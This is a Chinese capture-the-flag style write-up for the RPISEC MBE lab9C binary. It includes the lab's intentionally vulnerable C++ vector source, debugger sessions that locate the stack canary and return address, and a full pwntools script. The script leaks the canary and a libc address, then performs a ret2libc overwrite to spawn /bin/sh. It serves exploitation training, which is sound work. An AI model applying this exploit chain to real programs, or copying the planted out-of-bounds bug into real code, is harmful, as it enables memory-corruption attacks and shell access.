RPISEC/MBE: writeup lab9C C++

源码来自https://github.com/RPISEC/MBE/blob/master/src/lab09/lab9C.cpp。站长对程序进行了轻微的更改。

utils.h

/*
 * Tools for anti-debug/disasm
 */

/* throws off esp analysis to thwart hexrays */
#define deathrays \
    __asm__ volatile("push     %eax      \n"\
                     "xor      %eax, %eax\n"\
                     "jz       .+5       \n"\
                     ".word    0xC483    \n"\
                     ".byte    0x04      \n"\
                     "pop      %eax      \n");

/* clear argv to avoid shellcode */
#define clear_argv(_argv) \
    for (; *_argv; ++_argv) { \
        memset(*_argv, 0, strlen(*_argv)); \
    }
#define clear_envp(_envp) clear_argv(_envp)

/* disables IO buffering on the file descriptor */
#define disable_buffering(_fd) setvbuf(_fd, NULL, _IONBF, 0)

/* clears stdin up until newline */
void clear_stdin(void)
{
    char x = 0;
    while(1)
    {
        x = getchar();
        if(x == '\n' || x == EOF)
            break;
    }
}

/* gets a number from stdin and cleans up after itself */
unsigned int get_unum(void)
{
    unsigned int res = 0;
    fflush(stdout);
    scanf("%u", &res);
    clear_stdin();
    return res;
}

void prog_timeout(int sig)
{
  asm("mov $1, %eax;"
      "mov $1, %ebx;"
      "int $0x80");
}

#include <signal.h>
#define ENABLE_TIMEOUT(_time) \
  __attribute__ ((constructor)) void enable_timeout_cons() \
  { \
      signal(SIGALRM, prog_timeout); \
      alarm(_time); \
}

lab9C.cpp

/*
 *  compile: 
 *  g++ -fstack-protector-all -z relro -z now -o lab9C lab9C.cpp
 *
 *  DSVector - A basic homwork implementation of std::vector
 *  This is a wrapper program to test it!
 */

#include <iostream>
#include <limits>
#include <cstdlib>
#include <cstdio>
#include <cstring>
#include <unistd.h>
#include "./utils.h"

// ENABLE_TIMEOUT(60)

void print_menu(void)
{
    printf("+------- DSVector Test Menu -------+\n"
           "| 1. Append item                   |\n"
           "| 2. Read item                     |\n"
           "| 3. Quit                          |\n"
           "+----------------------------------+\n");
}

template <class T>
class DSVector
{
  public:
    // I don't like indexing from 0, I learned VB.NET first.
    DSVector() : len(1), alloc_len(len + 256) 
    {

    }
    unsigned int size() 
    { 
        return len; 
    }
    void append(T item);
    // No info leaks, either!
    T get(unsigned int index) 
    { 
        return (index < alloc_len ? 
                vector_data[index] : 
                -1); 
    };

  private:
    unsigned int alloc_len;
    unsigned int len;
    // I was asleep during the dynamic sizing part, at least you can't overflow!
    T vector_data[1 + 256];
};

template <class T>
void DSVector<T>::append(T item)
{
    // No overflow for you!
    if (len >= alloc_len)
    {
        std::cout << "Vector is full!" << std::endl;
        return;
    }
    vector_data[this->len++] = item;
}

int main(int argc, char *argv[])
{
    DSVector<int> test1;
    unsigned int choice = 0;
    bool done = false;
    disable_buffering(stdout);

    while (!done)
    {
        print_menu();
        std::cout << "Enter choice: ";
        choice = get_unum();

        /* handle menu selection */
        switch (choice)
        {
        case 1:
            std::cout << "Enter a number: ";
            choice = get_unum();
            test1.append(choice);
            break;
        case 2:
            std::cout << "Choose an index: ";
            choice = get_unum();
            printf("DSVector[%d] = %d\n", choice, test1.get(choice));
            break;
        case 3:
            done = true;
            break;
        default:
            puts("Invalid choice!");
            break;
        }
    }

    return EXIT_SUCCESS;
}

站长已经编译好了,为了迎合要求,站长在32位的Ubuntu14.04上编译的,点击下载lab9C
Writeup 借鉴自https://devel0pment.de/?p=435

这个程序有什么漏洞呢?

发现漏洞的一般方法是审计源代码。然而,它也值得亲自测试这个程序,并注意一些不寻常的地方:

ex@Ex:~/test$ ./lab9C 
+------- DSVector Test Menu -------+
| 1. Append item                   |
| 2. Read item                     |
| 3. Quit                          |
+----------------------------------+
Enter choice: 2
Choose an index: 7
DSVector[7] = -134461635
+------- DSVector Test Menu -------+
| 1. Append item                   |
| 2. Read item                     |
| 3. Quit                          |
+----------------------------------+
Enter choice: 2
Choose an index: 8
DSVector[8] = 1

当向量里面没有添加任何元素的时候,我们依然能从向量中读出值。用debug版本来查看具体情况。

ex@Ex:~/test$ gdb ./glab9C 
pwndbg: loaded 175 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./glab9C...done.
pwndbg&gt; b 78
Breakpoint 1 at 0x80489b0: file lab9C.cpp, line 78.
pwndbg&gt; r
Starting program: /home/ex/test/glab9C 

Breakpoint 1, main (argc=1, argv=0xffffcee4) at lab9C.cpp:78
78	        print_menu();
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
 EAX  0x1
 EBX  0x0
 ECX  0xf7e2a890 (_IO_stdfile_1_lock) ◂— 0x0
 EDX  0x0
 EDI  0x0
 ESI  0xf7e29000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
 EBP  0xffffce48 ◂— 0x0
 ESP  0xffffca00 —▸ 0xf7e29d80 (_IO_2_1_stdout_) ◂— 0xfbad2087
 EIP  0x80489b0 (main+108) —▸ 0xffff5fe8 ◂— 0x0
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
  0x80489b0 <main+108>    call   print_menu() &lt;0x8048914&gt;
 
   0x80489b5 <main+113>    mov    dword ptr [esp + 4], 0x8048dad
   0x80489bd <main+121>    mov    dword ptr [esp], std::cout@@GLIBCXX_3.4 &lt;0x804b020&gt;
   0x80489c4 <main+128>    call   0x80486c0
 
   0x80489c9 <main+133>    call   get_unum() &lt;0x804888b&gt;
 
   0x80489ce <main+138>    mov    dword ptr [esp + 0x2c], eax
   0x80489d2 <main+142>    mov    eax, dword ptr [esp + 0x2c]
   0x80489d6 <main+146>    cmp    eax, 2
   0x80489d9 <main+149>    je     main+220 &lt;0x8048a20&gt;
 
   0x80489db <main+151>    cmp    eax, 3
   0x80489de <main+154>    je     main+295 &lt;0x8048a6b&gt;
───────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────
In file: /home/ex/test/lab9C.cpp
   73     bool done = false;
   74     disable_buffering(stdout);
   75 
   76     while (!done)
   77     {
  78         print_menu();
   79         std::cout &lt;&lt; "Enter choice: ";
   80         choice = get_unum();
   81 
   82         /* handle menu selection */
   83         switch (choice)
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ esp  0xffffca00 —▸ 0xf7e29d80 (_IO_2_1_stdout_) ◂— 0xfbad2087
01:0004│      0xffffca04 ◂— 0x0
02:0008│      0xffffca08 ◂— 0x2
03:000c│      0xffffca0c ◂— 0x0
04:0010│      0xffffca10 —▸ 0xf7fcf3d0 —▸ 0xf7c51000 ◂— jg     0xf7c51047
05:0014│      0xffffca14 —▸ 0xf7fdf3ec (check_match+364) ◂— add    esp, 0x10
06:0018│      0xffffca18 —▸ 0xffffcee4 —▸ 0xffffd0d1 ◂— '/home/ex/test/glab9C'
07:001c│      0xffffca1c ◂— 0x1
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
  f 0  80489b0 main+108
   f 1 f7c69e81 __libc_start_main+241
Breakpoint /home/ex/test/lab9C.cpp:78
pwndbg&gt; p test1
$1 = {
  alloc_len = 4158965218, 
  len = 1, 
  vector_data = {1, 1, -134352247, 2348, -138064364, 479434334, -134417456, -134351043, 1, 1, -138026184, 2348, -138023736, -134417456, -13628, -13632, 6, 0, -134230016, -138023736, -138063846, -138026184, 479434334, -136002334, 14982322, -13500, -13628, -134415172, 1, 1, -134351863, 1525626795, -134417720, -13524, 0, 0, -136087472, -13524, -134351863, 479434334, -134417720, -13492, 0, -134348901, -136094432, -13492, -134227300, 2, -134414288, 1, 0, 1, -134418160, -135743555, 0, -134351892, 0, -134230016, 0, -134351892, -135743933, -135743933, -134352247, 936, -136114844, -1650751214, -134418160, -135842896, -135743933, -135743933, -134352247, 4723, -136099696, 814159578, -134418160, -134351043, 1, 1, -136021040, 4723, -136008688, -134418160, -13356, -13360, 6, 0, -134230016, -136008688, -136096734, -136021040, 814159578, -135842896, 25442486, -13228, -13356, -134415172, -136096734, -136084848, -1410636286, -135907992, 90135344, -13196, 0, 0, -136096734, -136066160, -134351863, 814159578, -134417720, -13220, 0, -134348901, -136021040, -13220, -134227300, 1, -134414944, 1, 0, 1, -134418160, -13188, -134227300, 1, 0, -134230016, 0, 1, -134418160, -13156, -134541272, 0, 6, -134565376, -134872096, -1, -134418160, -136021040, -134418160, 1, -135642135, -134541272, -134553164, -134565376, -13128, -135653635, -134553164, 0, 6, -134553164, -134541272, -134565376, -134541272, -13128, -13100, -134417720, -134414944, 6, 1, 0, -134541272, 6, 0, 6, 16, 170421504, 1, -136021040, -135989659, -134549504, -134543952, -134544060, -12888, -134973034, -134541272, -134565376, -134553164, 0, -13032, -134973098, -134549504, -135199837, -134543952, -134304224, -134538796, -135199940, -134549504, -134544060, -134544928, -135198853, -134544060, -134543952, -134544256, -135198884, -134549504, -134549504, -134543904, -135573499, -134544060, -134544928...}
}
pwndbg&gt; 

再看看构造函数的反汇编代码:

; void __cdecl DSVector<int>::DSVector(DSVector<int> *const this)
    public _ZN8DSVectorIiEC2Ev ; weak
_ZN8DSVectorIiEC2Ev proc near

this= dword ptr -1Ch
var_C= dword ptr -0Ch
arg_0= dword ptr  8

    push    ebp
    mov     ebp, esp
    sub     esp, 28h
    mov     eax, [ebp+arg_0]
    mov     [ebp+this], eax
    mov     eax, large gs:14h
    mov     [ebp+var_C], eax
    xor     eax, eax
    mov     eax, [ebp+this]
    mov     eax, [eax+4]
    lea     edx, [eax+100h]
    mov     eax, [ebp+this]
	; alloc_len
    mov     [eax], edx
    mov     eax, [ebp+this]
	; len
    mov     dword ptr [eax+4], 1
    mov     eax, [ebp+var_C]
    xor     eax, large gs:14h
    jz      short locret_8048B8D

    call    ___stack_chk_fail

locret_8048B8D:
    leave
    retn
_ZN8DSVectorIiEC2Ev endp

从反汇编代码可知 alloc_len 的值并不是 257 ,而是对象test1的内存地址加上 0x100。所以它的值才会如此巨大。

由于这个漏洞,我们可以读取数组之外的内容,也可以溢出数组。我们的目标是使用ret2libc调用system(“/bin/sh”)。为了做到这一点,我们必须:
- >泄漏栈cookie值,因为当我们用无效值覆盖栈cookie值时,函数末尾的ret指令不会执行。
- >泄漏一个libc地址来计算到函数system和字符串/bin/sh的偏移量。

首先,让我们通过在main函数的适当位置设置断点来确定栈cookie值和返回地址存储在何处:

pwndbg> disassemble main
Dump of assembler code for function main:
   0x08048944 <+0>:	push   ebp
   0x08048945 <+1>:	mov    ebp,esp
   0x08048947 <+3>:	and    esp,0xfffffff0
   0x0804894a <+6>:	sub    esp,0x440
   0x08048950 <+12>:	mov    eax,DWORD PTR [ebp+0x8]
   0x08048953 <+15>:	mov    DWORD PTR [esp+0x1c],eax
   0x08048957 <+19>:	mov    eax,DWORD PTR [ebp+0xc]
   0x0804895a <+22>:	mov    DWORD PTR [esp+0x18],eax
   0x0804895e <+26>:	mov    eax,gs:0x14
   0x08048964 <+32>:	mov    DWORD PTR [esp+0x43c],eax
   0x0804896b <+39>:	xor    eax,eax
   0x0804896d <+41>:	lea    eax,[esp+0x30]
   0x08048971 <+45>:	mov    DWORD PTR [esp],eax
   ...
End of assembler dump.
pwndbg> b *main
Breakpoint 1 at 0x8048944
pwndbg> b *main+32
Breakpoint 2 at 0x8048964

在第一个断点,我们可以看到返回地址存储在哪里:

pwndbg&gt; r
Starting program: /home/ex/test/lab9C 

Breakpoint 1, 0x08048944 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
 EAX  0xf7e2add8 (environ) —▸ 0xffffceec —▸ 0xffffd0e7 ◂— 'CLUTTER_IM_MODULE=xim'
 EBX  0x0
 ECX  0xefd3c3e
 EDX  0xffffce74 ◂— 0x0
 EDI  0x0
 ESI  0xf7e29000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
 EBP  0x0
 ESP  0xffffce4c —▸ 0xf7c69e81 (__libc_start_main+241) ◂— add    esp, 0x10
 EIP  0x8048944 (main) ◂— push   ebp
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
  0x8048944 <main>       push   ebp
   0x8048945 <main+1>     mov    ebp, esp
   0x8048947 <main+3>     and    esp, 0xfffffff0
   0x804894a <main+6>     sub    esp, 0x440
   0x8048950 <main+12>    mov    eax, dword ptr [ebp + 8]
   0x8048953 <main+15>    mov    dword ptr [esp + 0x1c], eax
   0x8048957 <main+19>    mov    eax, dword ptr [ebp + 0xc]
   0x804895a <main+22>    mov    dword ptr [esp + 0x18], eax
   0x804895e <main+26>    mov    eax, dword ptr gs:[0x14]
   0x8048964 <main+32>    mov    dword ptr [esp + 0x43c], eax
   0x804896b <main+39>    xor    eax, eax
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ esp  0xffffce4c —▸ 0xf7c69e81 (__libc_start_main+241) ◂— add    esp, 0x10
01:0004│      0xffffce50 ◂— 0x1
02:0008│      0xffffce54 —▸ 0xffffcee4 —▸ 0xffffd0d3 ◂— '/home/ex/test/lab9C'
03:000c│      0xffffce58 —▸ 0xffffceec —▸ 0xffffd0e7 ◂— 'CLUTTER_IM_MODULE=xim'
04:0010│      0xffffce5c —▸ 0xffffce74 ◂— 0x0
05:0014│      0xffffce60 ◂— 0x1
06:0018│      0xffffce64 —▸ 0xffffcee4 —▸ 0xffffd0d3 ◂— '/home/ex/test/lab9C'
07:001c│      0xffffce68 —▸ 0xf7e29000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
  f 0  8048944 main
   f 1 f7c69e81 __libc_start_main+241
Breakpoint *main

返回地址储存在 0xffffcec4 。

在第二个断点,我们能看到栈cookies值储存在哪里:

pwndbg> c
Continuing.

Breakpoint 2, 0x08048964 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
 EAX  0x6fefef00
 EBX  0x0
 ECX  0x2b079799
 EDX  0xffffce74 ◂— 0x0
 EDI  0x0
 ESI  0xf7e29000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
 EBP  0xffffce48 ◂— 0x0
 ESP  0xffffca00 —▸ 0xf7fdf289 (check_match+9) ◂— add    edi, 0x1dd77
 EIP  0x8048964 (main+32) ◂— mov    dword ptr [esp + 0x43c], eax
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
   0x8048950 <main+12>    mov    eax, dword ptr [ebp + 8]
   0x8048953 <main+15>    mov    dword ptr [esp + 0x1c], eax
   0x8048957 <main+19>    mov    eax, dword ptr [ebp + 0xc]
   0x804895a <main+22>    mov    dword ptr [esp + 0x18], eax
   0x804895e <main+26>    mov    eax, dword ptr gs:[0x14]
  0x8048964 <main+32>    mov    dword ptr [esp + 0x43c], eax
   0x804896b <main+39>    xor    eax, eax
   0x804896d <main+41>    lea    eax, [esp + 0x30]
   0x8048971 <main+45>    mov    dword ptr [esp], eax
   0x8048974 <main+48>    call   DSVector<int>::DSVector() <0x8048b4a>
 
   0x8048979 <main+53>    mov    dword ptr [esp + 0x2c], 0
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ esp  0xffffca00 —▸ 0xf7fdf289 (check_match+9) ◂— add    edi, 0x1dd77
01:0004│      0xffffca04 ◂— 0x2c4
02:0008│      0xffffca08 —▸ 0xf7c53474 ◂— retf   0x8a3f
03:000c│      0xffffca0c ◂— 0x9e8a3fca
04:0010│      0xffffca10 —▸ 0xf7fcf3d0 —▸ 0xf7c51000 ◂— jg     0xf7c51047
05:0014│      0xffffca14 —▸ 0xf7fdf3ec (check_match+364) ◂— add    esp, 0x10
06:0018│      0xffffca18 —▸ 0xffffcee4 —▸ 0xffffd0d3 ◂— '/home/ex/test/lab9C'
07:001c│      0xffffca1c ◂— 0x1
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
  f 0  8048964 main+32
   f 1 f7c69e81 __libc_start_main+241
Breakpoint *main+32
pwndbg>

栈cookies值储存在 0xffffce3c。

再用debug版本看看它们的偏移:

pwndbg> p &test1.vector_data 
$3 = (int (*)[257]) 0xffffca38
pwndbg> p (0xffffce4c - 0xffffca38) / 4
$4 = 261
pwndbg> p (0xffffce3c - 0xffffca38) / 4
$5 = 257

现在我们有了所有的信息,最后的脚本就是这样的:
1. 泄露栈cookies值(偏移257)。
2. 泄露main的返回地址(偏移261)。
3. 计算system和字符串/bin/sh的值。
4. 储存256个值。
5. 储存栈cookies值(第一步已得到)。
6. 继续储存3个值。
7. 储存libc库中的system函数值,用来覆盖返回地址。
8. 储存另一个值,system函数调用完的返回地址。
9. 储存字符串/bin/sh的偏移(system函数的参数)。
10. 输入选择3,退出来触发ret。

脚本如下:

from pwn import *
 
def append(p, x):
  p.sendline("1")
  p.sendline(str(x))
  p.recv(1000)
   
def leak(p, x):
  p.sendline("2")
  p.sendline(str(x))
  p.recvuntil(str(x)+"] = ")
  ret = p.recv(100)
  leak = int(ret[0:ret.index("\n")], 10)
  if (leak < 0): leak = -((leak-1)^0xffffffff)
  return leak
 
elf = ELF('/lib/i386-linux-gnu/libc.so.6')
# context.terminal=['deepin-terminal','-x','sh','-c']
p = process('./lab9C')
p.recv(1000)
# gdb.attach(proc.pidof(p)[0],'c')
# leak stack canary
stack_can = leak(p, 257)
log.success("stack_canary: " + hex(stack_can))
 
# leak stack canary + 3 dword + return address
leak = leak(p, 261)
log.success("leak: " + hex(leak))

base_addr = leak - 0x18e81
log.success("base_addr: " + hex(base_addr))

addr_system = base_addr + elf.symbols['system']
log.info('addr_system: '+hex(addr_system))
addr_binsh  = base_addr + 0x017e0cf
log.info('addr_binsh: '+hex(addr_binsh))
 
for i in range(256):
  append(p, 1337)
 
append(p, stack_can)
 
for i in range(3):
  append(p, 1337)
 
append(p, addr_system)
append(p, 1337)
append(p, addr_binsh)
 
p.sendline("3")
# p.recv(1000)
 
p.interactive()